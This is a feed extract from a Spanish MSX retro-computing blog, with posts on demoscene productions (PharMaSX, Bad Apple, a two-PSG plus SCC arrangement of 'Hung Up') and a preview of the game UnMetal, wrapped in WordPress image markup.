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	<title>Demo &#8211; MSXBlog</title>
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	<description>MSX en primera persona</description>
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	<title>Demo &#8211; MSXBlog</title>
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		<title>¿Puede un scener trabajar en una farmacia? La respuesta está en PharMaSX, la última demo de The Pets Mode</title>
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		<dc:creator><![CDATA[Konamito]]></dc:creator>
		<pubDate>Sun, 28 Aug 2022 12:08:08 +0000</pubDate>
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					<description><![CDATA[The Pets Mode participó en el evento Evoke 2022 que se celebró hace a principios de este mes de agosto en la ciudad alemana de Colonia con una demo para&#8230; ]]></description>
										<content:encoded><![CDATA[<div class="wp-block-image">
<figure class="alignright size-full is-resized"><img data-attachment-id="39235" data-permalink="https://www.msxblog.es/puede-un-scener-trabajar-en-una-farmacia-la-respuesta-esta-en-pharmasx-la-ultima-demo-de-the-pets-mode/pharmasx-2022the-pets-mode-003/" data-orig-file="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2022/08/PharMaSX-2022The-Pets-Mode-003.png?fit=640%2C480&amp;ssl=1" data-orig-size="640,480" data-comments-opened="1" data-image-meta="{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}" data-image-title="PharMaSX-2022The-Pets-Mode-003" data-image-description="" data-image-caption="" data-medium-file="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2022/08/PharMaSX-2022The-Pets-Mode-003.png?fit=640%2C480&amp;ssl=1" data-large-file="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2022/08/PharMaSX-2022The-Pets-Mode-003.png?fit=640%2C480&amp;ssl=1" decoding="async" src="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2022/08/PharMaSX-2022The-Pets-Mode-003.png?resize=504%2C378&#038;ssl=1" alt="" class="wp-image-39235" width="504" height="378" data-recalc-dims="1" /><figcaption>PharMaSX &#8211; Captura de pantalla</figcaption></figure></div>


<p><a href="http://www.thepetsmode.com" target="_blank" rel="noreferrer noopener">The Pets Mode</a> participó en el evento <a rel="noreferrer noopener" href="https://2022.evoke.eu" target="_blank">Evoke 2022 </a>que se celebró hace a principios de este mes de agosto en la ciudad alemana de Colonia con una demo para MSX que combina tanto gráficos como música: <a href="https://www.msxgamesworld.com/software.php?id=6671">PharMaSX</a>.</p>



<p>Esta demo parte de la pregunta ¿<strong>en qué puede trabajar un <em>scener</em></strong>? Lo normal sería pensar en una discoteca o en un festival de música electrónica creando efectos visuales&#8230; ¿pero, y en una farmacia? Pues sí, aunque suene raro una vez empezamos a ver la demo entendemos el por qué. El espectáculo pixelado y sonoro que desfila ante nuestros sentidos ha sido condensado t<strong>an solo en cuatro colores y con un tamaño de bloques de píxeles de 24 x 24</strong>. ¡Es increíble!</p>



<p>PharMaSX se presenta en una sola dosis de imagen ROM de 48K para los MSX de primera generación. Los gráficos y el código son de <a rel="noreferrer noopener" href="https://twitter.com/jamqueTPM/" target="_blank">Rafel Pérez (JamQue)</a> y la música de <strong>JosSs</strong>. </p>



<p>Enlace relacionado: <a rel="noreferrer noopener" href="http://thepetsmode.com/producciones-thepetsmode-msxjuegos-demoscene.php#PharMaSX" target="_blank">The Pets Mode</a></p>



<figure data-carousel-extra='{"blog_id":1,"permalink":"https:\/\/www.msxblog.es\/puede-un-scener-trabajar-en-una-farmacia-la-respuesta-esta-en-pharmasx-la-ultima-demo-de-the-pets-mode\/"}'  class="is-layout-flex wp-block-gallery-1 wp-block-gallery has-nested-images columns-default is-cropped">
<figure class="wp-block-image size-large"><img data-attachment-id="39236" data-permalink="https://www.msxblog.es/puede-un-scener-trabajar-en-una-farmacia-la-respuesta-esta-en-pharmasx-la-ultima-demo-de-the-pets-mode/pharmasx-2022the-pets-mode-001/" data-orig-file="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2022/08/PharMaSX-2022The-Pets-Mode-001.png?fit=640%2C480&amp;ssl=1" data-orig-size="640,480" data-comments-opened="1" data-image-meta="{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}" data-image-title="PharMaSX-2022The-Pets-Mode-001" data-image-description="" data-image-caption="" data-medium-file="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2022/08/PharMaSX-2022The-Pets-Mode-001.png?fit=640%2C480&amp;ssl=1" data-large-file="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2022/08/PharMaSX-2022The-Pets-Mode-001.png?fit=640%2C480&amp;ssl=1" decoding="async" loading="lazy" width="640" height="480" data-id="39236"  src="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2022/08/PharMaSX-2022The-Pets-Mode-001.png?resize=640%2C480&#038;ssl=1" alt="" class="wp-image-39236" data-recalc-dims="1"/><figcaption>PharMaSX &#8211; Captura de pantalla</figcaption></figure>



<figure class="wp-block-image size-large"><img data-attachment-id="39237" data-permalink="https://www.msxblog.es/puede-un-scener-trabajar-en-una-farmacia-la-respuesta-esta-en-pharmasx-la-ultima-demo-de-the-pets-mode/pharmasx-2022the-pets-mode-002/" data-orig-file="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2022/08/PharMaSX-2022The-Pets-Mode-002.png?fit=640%2C480&amp;ssl=1" data-orig-size="640,480" data-comments-opened="1" data-image-meta="{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}" data-image-title="PharMaSX-2022The-Pets-Mode-002" data-image-description="" data-image-caption="" data-medium-file="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2022/08/PharMaSX-2022The-Pets-Mode-002.png?fit=640%2C480&amp;ssl=1" data-large-file="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2022/08/PharMaSX-2022The-Pets-Mode-002.png?fit=640%2C480&amp;ssl=1" decoding="async" loading="lazy" width="640" height="480" data-id="39237"  src="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2022/08/PharMaSX-2022The-Pets-Mode-002.png?resize=640%2C480&#038;ssl=1" alt="" class="wp-image-39237" data-recalc-dims="1"/><figcaption>PharMaSX &#8211; Captura de pantalla</figcaption></figure>



<figure class="wp-block-image size-large"><img data-attachment-id="39240" data-permalink="https://www.msxblog.es/puede-un-scener-trabajar-en-una-farmacia-la-respuesta-esta-en-pharmasx-la-ultima-demo-de-the-pets-mode/pharmasx-2022the-pets-mode-004/" data-orig-file="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2022/08/PharMaSX-2022The-Pets-Mode-004.png?fit=640%2C480&amp;ssl=1" data-orig-size="640,480" data-comments-opened="1" data-image-meta="{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}" data-image-title="PharMaSX-2022The-Pets-Mode-004" data-image-description="" data-image-caption="" data-medium-file="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2022/08/PharMaSX-2022The-Pets-Mode-004.png?fit=640%2C480&amp;ssl=1" data-large-file="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2022/08/PharMaSX-2022The-Pets-Mode-004.png?fit=640%2C480&amp;ssl=1" decoding="async" loading="lazy" width="640" height="480" data-id="39240"  src="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2022/08/PharMaSX-2022The-Pets-Mode-004.png?resize=640%2C480&#038;ssl=1" alt="" class="wp-image-39240" data-recalc-dims="1"/><figcaption>PharMaSX &#8211; Captura de pantalla</figcaption></figure>



<figure class="wp-block-image size-large"><img data-attachment-id="39238" data-permalink="https://www.msxblog.es/puede-un-scener-trabajar-en-una-farmacia-la-respuesta-esta-en-pharmasx-la-ultima-demo-de-the-pets-mode/pharmasx-2022the-pets-mode-005/" data-orig-file="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2022/08/PharMaSX-2022The-Pets-Mode-005.png?fit=640%2C480&amp;ssl=1" data-orig-size="640,480" data-comments-opened="1" data-image-meta="{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}" data-image-title="PharMaSX-2022The-Pets-Mode-005" data-image-description="" data-image-caption="" data-medium-file="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2022/08/PharMaSX-2022The-Pets-Mode-005.png?fit=640%2C480&amp;ssl=1" data-large-file="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2022/08/PharMaSX-2022The-Pets-Mode-005.png?fit=640%2C480&amp;ssl=1" decoding="async" loading="lazy" width="640" height="480" data-id="39238"  src="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2022/08/PharMaSX-2022The-Pets-Mode-005.png?resize=640%2C480&#038;ssl=1" alt="" class="wp-image-39238" data-recalc-dims="1"/><figcaption>PharMaSX &#8211; Captura de pantalla</figcaption></figure>



<figure class="wp-block-image size-large"><img data-attachment-id="39239" data-permalink="https://www.msxblog.es/puede-un-scener-trabajar-en-una-farmacia-la-respuesta-esta-en-pharmasx-la-ultima-demo-de-the-pets-mode/pharmasx-2022the-pets-mode-006/" data-orig-file="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2022/08/PharMaSX-2022The-Pets-Mode-006.png?fit=640%2C480&amp;ssl=1" data-orig-size="640,480" data-comments-opened="1" data-image-meta="{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}" data-image-title="PharMaSX-2022The-Pets-Mode-006" data-image-description="" data-image-caption="" data-medium-file="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2022/08/PharMaSX-2022The-Pets-Mode-006.png?fit=640%2C480&amp;ssl=1" data-large-file="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2022/08/PharMaSX-2022The-Pets-Mode-006.png?fit=640%2C480&amp;ssl=1" decoding="async" loading="lazy" width="640" height="480" data-id="39239"  src="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2022/08/PharMaSX-2022The-Pets-Mode-006.png?resize=640%2C480&#038;ssl=1" alt="" class="wp-image-39239" data-recalc-dims="1"/><figcaption>PharMaSX &#8211; Captura de pantalla</figcaption></figure>
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		<title>Bad Apple, impresionante demo para MSX2</title>
		<link>https://www.msxblog.es/bad-apple-impresionante-demo-para-msx2/</link>
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		<dc:creator><![CDATA[Konamito]]></dc:creator>
		<pubDate>Tue, 16 Feb 2021 22:03:41 +0000</pubDate>
				<category><![CDATA[Demos]]></category>
		<category><![CDATA[Bad Apple]]></category>
		<category><![CDATA[Demo]]></category>
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					<description><![CDATA[Impresionante lo que es capaz de hacer una persona con talento para sacarle el máximo rendimiento a un MSX2 en una demo. Esta demo, llamada Bad Apple, muestra una serie&#8230; ]]></description>
										<content:encoded><![CDATA[
<p>Impresionante lo que es capaz de hacer una persona con talento para sacarle el máximo rendimiento a un MSX2 en una demo.</p>



<p>Esta demo, llamada <strong>Bad Apple</strong>, muestra una serie de transiciones y efectos que parecen casi imposibles y más cuando su autor la ha programado usando MSX-BASIC. Las imágenes se muestran en SCREEN 5 a una resolución de 256 x 192 píxeles y funciona a unos nada despreciables 30 cuadros por segundo. Por su parte, el sonido corre a cuenta de MSX-MUSIC.</p>



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<p>Enlace relacionado: <a href="https://www.youtube.com/watch?v=fdkBV9GjX30" data-rel="lightbox-video-0" target="_blank" rel="noreferrer noopener">YouTube</a></p>
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		<title>Próximo directo: UnMetal, lo nuevo de Francisco Téllez (@unepic_fran)</title>
		<link>https://www.msxblog.es/proximo-directo-unmetal-lo-nuevo-de-francisco-tellez-unepic_fran/</link>
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		<dc:creator><![CDATA[Konamito]]></dc:creator>
		<pubDate>Sun, 12 Jul 2020 16:59:44 +0000</pubDate>
				<category><![CDATA[Noticias]]></category>
		<category><![CDATA[Demo]]></category>
		<category><![CDATA[Francisco Téllez de Meneses]]></category>
		<category><![CDATA[Metal Gear]]></category>
		<category><![CDATA[Prisoner of War]]></category>
		<category><![CDATA[Steam]]></category>
		<category><![CDATA[The Maze of Galious]]></category>
		<category><![CDATA[UnMetal]]></category>
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					<description><![CDATA[¿Os suena esta introducción? En 1972 cuatro de los mejores hombres que formaban un comando te arrestaron por un crimen que no habías cometido. No tardaste en fugarte de la&#8230; ]]></description>
										<content:encoded><![CDATA[
<p>¿Os suena esta introducción?</p>



<blockquote class="wp-block-quote"><p>En 1972 cuatro de los mejores hombres que formaban un comando te arrestaron por un crimen que no habías cometido. </p><p>No tardaste en fugarte de la prisión en la que te encontrabas recluido&#8230;</p><cite>UnMetal</cite></blockquote>



<p>Seguro que sí, ¿verdad? Este es el punto de partida que da lugar a <a rel="noreferrer noopener" href="https://franfistro.itch.io/unmetal-demo" target="_blank">UnMetal</a>, el próximo juego de Francisco Téllez (@unepic_fran) cuya demo está disponible desde el pasado 9 de junio.</p>



<p>UnMetal se inspira en <a href="http://msxgamesworld.com/software.php?id=5336">Prisoner of War</a> (su último título para MSX) y a su vez en el <a href="http://msxgamesworld.com/software.php?id=158">Metal Gear</a> más clásico: el de MSX.</p>



<p>Francisco <a href="http://msxgamesworld.com/search-results.php?aut=1382">ha trabajado en varios juegos para nuestro estándar</a>, como Ghost, MiniMagos y el mencionado Prisoner of War, así como también <a rel="noreferrer noopener" href="https://store.steampowered.com/search/?developer=%40unepic_fran" target="_blank">otros títulos para ordenadores modernos</a>: MiniGhost 1.0 y UnEpic. Tras haberlos jugado todos he de decir que, en mi opinión, <strong>su talento como desarrollador de videojuegos es enorme</strong>. Desde luego <strong>sabe cómo tocar el corazón de los jugadores más veteranos</strong> y no cabe duda de que para sus creaciones ha encontrado la inspiración en alguno de los mejores videojuegos que han pasado por los circuitos de un ordenador. Ejemplo de ello son <a href="http://msxgamesworld.com/software.php?id=260">The Maze of Galious</a>, <a href="http://msxgamesworld.com/software.php?id=262">Uşas</a>, <a href="http://msxgamesworld.com/software.php?id=254">The Goonies</a> y el ya mencionado Metal Gear, títulos ampliamente conocidos por todos nosotros y de los que no tenemos ninguna duda de que son clásicos muy disfrutables aún a día de hoy.</p>



<div class="wp-block-image"><figure class="aligncenter size-large"><img data-attachment-id="37183" data-permalink="https://www.msxblog.es/proximo-directo-unmetal-lo-nuevo-de-francisco-tellez-unepic_fran/unmetal-2020francisco-tellez-001/" data-orig-file="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2020/07/UnMetal-2020Francisco-Téllez-001.png?fit=1280%2C720&amp;ssl=1" data-orig-size="1280,720" data-comments-opened="1" data-image-meta="{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}" data-image-title="UnMetal-2020Francisco-Téllez-001" data-image-description="" data-image-caption="" data-medium-file="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2020/07/UnMetal-2020Francisco-Téllez-001.png?fit=1280%2C720&amp;ssl=1" data-large-file="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2020/07/UnMetal-2020Francisco-Téllez-001.png?fit=1280%2C720&amp;ssl=1" decoding="async" loading="lazy" width="1110" height="624" src="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2020/07/UnMetal-2020Francisco-Téllez-001.png?resize=1110%2C624&#038;ssl=1" alt="" class="wp-image-37183" srcset="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2020/07/UnMetal-2020Francisco-Téllez-001.png?w=1280&amp;ssl=1 1280w, https://i0.wp.com/www.msxblog.es/wp-content/uploads/2020/07/UnMetal-2020Francisco-Téllez-001.png?resize=768%2C432&amp;ssl=1 768w, https://i0.wp.com/www.msxblog.es/wp-content/uploads/2020/07/UnMetal-2020Francisco-Téllez-001.png?resize=720%2C405&amp;ssl=1 720w, https://i0.wp.com/www.msxblog.es/wp-content/uploads/2020/07/UnMetal-2020Francisco-Téllez-001.png?resize=520%2C293&amp;ssl=1 520w, https://i0.wp.com/www.msxblog.es/wp-content/uploads/2020/07/UnMetal-2020Francisco-Téllez-001.png?resize=320%2C180&amp;ssl=1 320w" sizes="(max-width: 1110px) 100vw, 1110px" data-recalc-dims="1" /></figure></div>



<p>Pero, ¿de qué va UnMetal? UnMetal es un juego bélico, donde nuestro protagonista, llamado Jesse Fox, ha sido capturado por el enemigo y se encuentra encerrado en una base enemiga de la que intentará escapar. Durante su misión entablará conversación con diferentes personajes a los que tendrá que ayudar si quiere concluir con éxito una misión más importante de lo que nunca hubiera sospechado nadie. </p>



<p>En la mayor parte del juego, <strong>la infiltración es la protagonista</strong>. Por lo tanto no conviene enfrentarse a las letales tropas enemigas de manera directa. Es mejor evitarlas o eliminarlas escondidos tras unas cajas. En cambio, si optamos por ir a lo «Rambo» podemos recibir un disparo que puede ser letal, y nuestro personaje comenzará a desangrarse hasta morir si no le ponemos remedio antes. Será necesario recoger diferentes objetos para avanzar en la aventura; algunos se han de usar en un punto concreto del mapa y otros habrá que dárselos a determinados personajes a cambio de recibir algún tipo de ayuda o pista para continuar. También hay tarjetas de acceso (¿a qué me recuerda esto?) que nos permitirán acceder a zonas y habitaciones restringidas.</p>



<div class="wp-block-image"><figure class="aligncenter size-large"><img data-attachment-id="37184" data-permalink="https://www.msxblog.es/proximo-directo-unmetal-lo-nuevo-de-francisco-tellez-unepic_fran/unmetal-2020francisco-tellez-007/" data-orig-file="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2020/07/UnMetal-2020Francisco-Téllez-007.png?fit=1280%2C720&amp;ssl=1" data-orig-size="1280,720" data-comments-opened="1" data-image-meta="{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}" data-image-title="UnMetal-2020Francisco-Téllez-007" data-image-description="" data-image-caption="" data-medium-file="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2020/07/UnMetal-2020Francisco-Téllez-007.png?fit=1280%2C720&amp;ssl=1" data-large-file="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2020/07/UnMetal-2020Francisco-Téllez-007.png?fit=1280%2C720&amp;ssl=1" decoding="async" loading="lazy" width="1110" height="624" src="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2020/07/UnMetal-2020Francisco-Téllez-007.png?resize=1110%2C624&#038;ssl=1" alt="" class="wp-image-37184" srcset="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2020/07/UnMetal-2020Francisco-Téllez-007.png?w=1280&amp;ssl=1 1280w, https://i0.wp.com/www.msxblog.es/wp-content/uploads/2020/07/UnMetal-2020Francisco-Téllez-007.png?resize=768%2C432&amp;ssl=1 768w, https://i0.wp.com/www.msxblog.es/wp-content/uploads/2020/07/UnMetal-2020Francisco-Téllez-007.png?resize=720%2C405&amp;ssl=1 720w, https://i0.wp.com/www.msxblog.es/wp-content/uploads/2020/07/UnMetal-2020Francisco-Téllez-007.png?resize=520%2C293&amp;ssl=1 520w, https://i0.wp.com/www.msxblog.es/wp-content/uploads/2020/07/UnMetal-2020Francisco-Téllez-007.png?resize=320%2C180&amp;ssl=1 320w" sizes="(max-width: 1110px) 100vw, 1110px" data-recalc-dims="1" /></figure></div>



<p>El <strong>sentido del humor en los diálogos se hace patente</strong> desde los primeros minutos de juego. Y esto es marca de la casa, pues ya en UnEpic las conversaciones eran delirantemente divertidas. <strong>El doblaje de los personajes ha sido realizado por actores de voz </strong>que hacen un estupendo trabajo que le da a UnMetal una vitola de cierto sabor «hollywoodiense». La banda sonora acompaña siempre, tanto en los momentos de suspense, como en los de infiltración o combate. La atmósfera que logra crear es el de una auténtica película bélica.</p>



<p>UnMetal <strong>estará disponible a través de Steam el 2 de octubre </strong>de este año, y desde ya podemos descargar la demo de manera gratuita. La demo, aunque está limitada al primer nivel del juego, es lo suficientemente larga como para darnos una idea aproximada de por dónde irán los tiros con UnMetal. En mi caso, ha conseguido dejarme con ganas de más y hacer crecer en mi interior un auténtico sentimiento de expectación para después del verano.</p>



<div class="wp-block-image"><figure class="aligncenter size-large"><img data-attachment-id="37185" data-permalink="https://www.msxblog.es/proximo-directo-unmetal-lo-nuevo-de-francisco-tellez-unepic_fran/unmetal-2020francisco-tellez-002/" data-orig-file="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2020/07/UnMetal-2020Francisco-Téllez-002.png?fit=1280%2C720&amp;ssl=1" data-orig-size="1280,720" data-comments-opened="1" data-image-meta="{&quot;aperture&quot;:&quot;0&quot;,&quot;credit&quot;:&quot;&quot;,&quot;camera&quot;:&quot;&quot;,&quot;caption&quot;:&quot;&quot;,&quot;created_timestamp&quot;:&quot;0&quot;,&quot;copyright&quot;:&quot;&quot;,&quot;focal_length&quot;:&quot;0&quot;,&quot;iso&quot;:&quot;0&quot;,&quot;shutter_speed&quot;:&quot;0&quot;,&quot;title&quot;:&quot;&quot;,&quot;orientation&quot;:&quot;0&quot;}" data-image-title="UnMetal-2020Francisco-Téllez-002" data-image-description="" data-image-caption="" data-medium-file="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2020/07/UnMetal-2020Francisco-Téllez-002.png?fit=1280%2C720&amp;ssl=1" data-large-file="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2020/07/UnMetal-2020Francisco-Téllez-002.png?fit=1280%2C720&amp;ssl=1" decoding="async" loading="lazy" width="1110" height="624" src="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2020/07/UnMetal-2020Francisco-Téllez-002.png?resize=1110%2C624&#038;ssl=1" alt="" class="wp-image-37185" srcset="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2020/07/UnMetal-2020Francisco-Téllez-002.png?w=1280&amp;ssl=1 1280w, https://i0.wp.com/www.msxblog.es/wp-content/uploads/2020/07/UnMetal-2020Francisco-Téllez-002.png?resize=768%2C432&amp;ssl=1 768w, https://i0.wp.com/www.msxblog.es/wp-content/uploads/2020/07/UnMetal-2020Francisco-Téllez-002.png?resize=720%2C405&amp;ssl=1 720w, https://i0.wp.com/www.msxblog.es/wp-content/uploads/2020/07/UnMetal-2020Francisco-Téllez-002.png?resize=520%2C293&amp;ssl=1 520w, https://i0.wp.com/www.msxblog.es/wp-content/uploads/2020/07/UnMetal-2020Francisco-Téllez-002.png?resize=320%2C180&amp;ssl=1 320w" sizes="(max-width: 1110px) 100vw, 1110px" data-recalc-dims="1" /></figure></div>



<p>Una vez comentado el juego, os emplazo para este viernes 17 de julio, a las 22:30 horas (horario de Madrid) en mi canal de YouTube. Tendremos un programa especial para UnMetal, lo jugaré con vosotros en directo y además el propio Francisco nos acompañará para hablarnos del juego. Sin duda será un momento ideal para conocer de cerca su trabajo y hacerle preguntas.</p>



<p>¡No os lo podéis perder!</p>



<p>Enlace relacionado: <a rel="noreferrer noopener" href="https://youtu.be/f1xxbkdBOeI" data-rel="lightbox-video-0" target="_blank">YouTube</a></p>



<figure data-carousel-extra='{"blog_id":1,"permalink":"https:\/\/www.msxblog.es\/proximo-directo-unmetal-lo-nuevo-de-francisco-tellez-unepic_fran\/"}'  class="is-layout-flex wp-block-gallery-3 wp-block-gallery columns-2 is-cropped"><ul class="blocks-gallery-grid"><li class="blocks-gallery-item"><figure><a href="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2020/07/UnMetal-2020Francisco-Téllez-001-1.png?ssl=1" data-rel="lightbox-image-0" data-imagelightbox="0" data-rl_title="" data-rl_caption="" title=""><img data-attachment-id="37186" data-permalink="https://www.msxblog.es/proximo-directo-unmetal-lo-nuevo-de-francisco-tellez-unepic_fran/unmetal-2020francisco-tellez-001-1/" data-orig-file="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2020/07/UnMetal-2020Francisco-Téllez-001-1.png?fit=1280%2C720&amp;ssl=1" data-orig-size="1280,720" data-comments-opened="1" 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class="blocks-gallery-item__caption">Inventario</figcaption></figure></li><li class="blocks-gallery-item"><figure><a href="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2020/07/UnMetal-2020Francisco-Téllez-003.png?ssl=1" data-rel="lightbox-image-2" data-imagelightbox="2" data-rl_title="" data-rl_caption="" title=""><img data-attachment-id="37188" data-permalink="https://www.msxblog.es/proximo-directo-unmetal-lo-nuevo-de-francisco-tellez-unepic_fran/unmetal-2020francisco-tellez-003/" data-orig-file="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2020/07/UnMetal-2020Francisco-Téllez-003.png?fit=1280%2C720&amp;ssl=1" data-orig-size="1280,720" data-comments-opened="1" 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class="blocks-gallery-item__caption">Las alcantarillas</figcaption></figure></li><li class="blocks-gallery-item"><figure><a href="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2020/07/UnMetal-2020Francisco-Téllez-009.png?ssl=1" data-rel="lightbox-image-8" data-imagelightbox="8" data-rl_title="" data-rl_caption="" title=""><img data-attachment-id="37194" data-permalink="https://www.msxblog.es/proximo-directo-unmetal-lo-nuevo-de-francisco-tellez-unepic_fran/unmetal-2020francisco-tellez-009/" data-orig-file="https://i0.wp.com/www.msxblog.es/wp-content/uploads/2020/07/UnMetal-2020Francisco-Téllez-009.png?fit=1280%2C720&amp;ssl=1" data-orig-size="1280,720" data-comments-opened="1" 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class="blocks-gallery-item__caption">¡Un helicóptero!</figcaption></figure></li></ul></figure>
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		<title>Hung Up: 2 PSG + SCC</title>
		<link>https://www.msxblog.es/hung-up-psg-x2-scc/</link>
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		<dc:creator><![CDATA[Konamito]]></dc:creator>
		<pubDate>Thu, 28 Nov 2019 22:51:28 +0000</pubDate>
				<category><![CDATA[Noticias]]></category>
		<category><![CDATA[Demo]]></category>
		<category><![CDATA[Hung Up]]></category>
		<category><![CDATA[Madonna]]></category>
		<category><![CDATA[PSG]]></category>
		<category><![CDATA[SCC]]></category>
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					<description><![CDATA[El maestro del PSG, el inigualable WYZ, nos sorprende una vez más con un arreglo del tema Hung Up de la artista Madonna con dos PSG sonando acompañados del chip&#8230; ]]></description>
										<content:encoded><![CDATA[
<p>El maestro del PSG, el inigualable <a rel="noreferrer noopener" aria-label="WYZ (se abre en una nueva pestaña)" href="https://twitter.com/jvicentemz" target="_blank">WYZ</a>, nos sorprende una vez más con un arreglo del tema <a rel="noreferrer noopener" aria-label="Hung Up (se abre en una nueva pestaña)" href="https://es.wikipedia.org/wiki/Hung_Up" target="_blank">Hung Up</a> de la artista <strong>Madonna</strong> con dos PSG sonando acompañados del chip de sonido SCC. Un trabajo que suena de muerte y que además nos muestra en pantalla una estupenda fotografía de la «Ambición Rubia» digitalizada en SCREEN 8.</p>



<p>La ROM de esta demo se puede descargar desde <a rel="noreferrer noopener" aria-label="aquí (se abre en una nueva pestaña)" href="https://www.youtube.com/redirect?v=Weq75LbOIqs&amp;event=video_description&amp;redir_token=0En_IJAPDUuZltn3v5JjzsHKN_t8MTU3NTA2NzA0M0AxNTc0OTgwNjQz&amp;q=https%3A%2F%2Fsites.google.com%2Fsite%2Fwyzplayer%2Fhung_up_msx2.rom%3Fattredirects%3D0%26d%3D1" target="_blank">aquí</a>.</p>



<figure class="wp-block-embed-youtube aligncenter wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-4-3 wp-has-aspect-ratio"><div class="wp-block-embed__wrapper">
